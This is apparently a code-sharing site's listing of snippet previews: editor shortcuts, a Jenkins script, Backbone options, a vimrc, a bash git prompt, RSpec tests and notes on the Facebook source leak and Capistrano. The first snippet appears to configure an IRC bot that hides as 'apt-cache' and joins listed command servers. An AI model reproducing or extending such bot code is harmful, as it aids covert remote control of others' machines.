⌘T | go to file |
⌘⌃P | go to project |
⌘R | go to methods |
⌃G | go to line |
⌘KB | toggle side bar |
⌘⇧P | command prompt |
#define STARTUP 1 | |
#undef IDENT // Only enable this if you absolutely have to | |
#define FAKENAME "apt-cache" // What you want this to hide as | |
#define CHAN "#mint" // Channel to join | |
#define KEY "bleh" // The key of the channel | |
int numservers=5; // Must change this to equal number of servers down there | |
char *servers[] = { | |
"updates.absentvodka.com", | |
"updates.mintylinux.com", | |
"eggstrawdinarry.mylittlerepo.com", |
export LANG=en_US.UTF-8 | |
export RAILS_ENV=test | |
mkdir -p tmp/miniprofiler | |
. /var/lib/jenkins/.rvm/environments/ruby-2.0.0-p353 | |
time bundle install 2>&1 > /dev/null |
_.extend Backbone.Collection.prototype, | |
options: | |
infinitescroll: | |
success: $.noop | |
error: $.noop | |
bufferPx: 40 | |
scrollPx: 150 | |
page: | |
current: 0 | |
per: null |
In August 2007 a hacker found a way to expose the PHP source code on facebook.com. He retrieved two files and then emailed them to me, and I wrote about the issue:
http://techcrunch.com/2007/08/11/facebook-source-code-leaked/
It became a big deal:
http://www.techmeme.com/070812/p1#a070812p1
The two files are index.php (the homepage) and search.php (the search page)
by Jonathan Rochkind, http://bibwild.wordpress.com
Capistrano automates pushing out a new version of your application to a deployment location.
I've been writing and deploying Rails apps for a while, but I avoided using Capistrano until recently. I've got a pretty simple one-host deployment, and even though everyone said Capistrano was great, every time I tried to get started I just got snowed under not being able to figure out exactly what I wanted to do, and figured I wasn't having that much trouble doing it "manually".
call pathogen#infect() | |
syntax on | |
filetype plugin indent on | |
set background=light | |
set t_Co=256 | |
colorscheme solarized | |
set nocompatible |
function parse_git_dirty { | |
[[ $(git status 2> /dev/null | tail -n1) != "nothing to commit (working directory clean)" ]] && echo "*" | |
} | |
function parse_git_branch { | |
git branch --no-color 2> /dev/null | sed -e '/^[^*]/d' -e "s/* \(.*\)/[\1$(parse_git_dirty)]/" | |
} | |
RED="\[\033[0;31m\]" |
# utils | |
global_function -> | |
# do something... | |
# if your function is a *process*, known as do not return anything, plus true as the last statement! | |
jQuery ($) -> | |
# global events bind 1 | |
el1 = $ 'selector1' | |
el1.on 'event', (evt) -> |
require 'spec_helper' | |
describe "Authentication" do | |
subject { page } | |
describe "Signin" do | |
describe "Page" do | |
before :each do | |
visit signin_path | |
end |